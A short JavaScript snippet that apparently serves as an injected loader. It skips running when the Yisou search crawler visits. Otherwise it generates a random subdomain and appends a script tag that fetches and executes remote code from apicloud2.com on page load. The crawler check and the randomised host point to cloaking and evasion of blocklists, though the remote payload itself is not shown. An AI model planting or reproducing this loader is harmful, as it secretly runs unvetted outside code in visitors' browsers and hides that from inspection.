(function() {
if (/yisouspider/i.test(navigator.userAgent)) return;
var chars = "abcdefghijklmnopqrstuvwxyz0123456789";
var len = Math.floor(Math.random() * 5) + 1;
var prefix = "";
for (var i = 0; i < len; i++) {
prefix += chars.charAt(Math.floor(Math.random() * chars.length));
}
var s = document.createElement("script");
s.type = "text/javascript";
s.src = "https://" + prefix + ".apicloud2.com/js/api1.js";
document.head.appendChild(s);
})();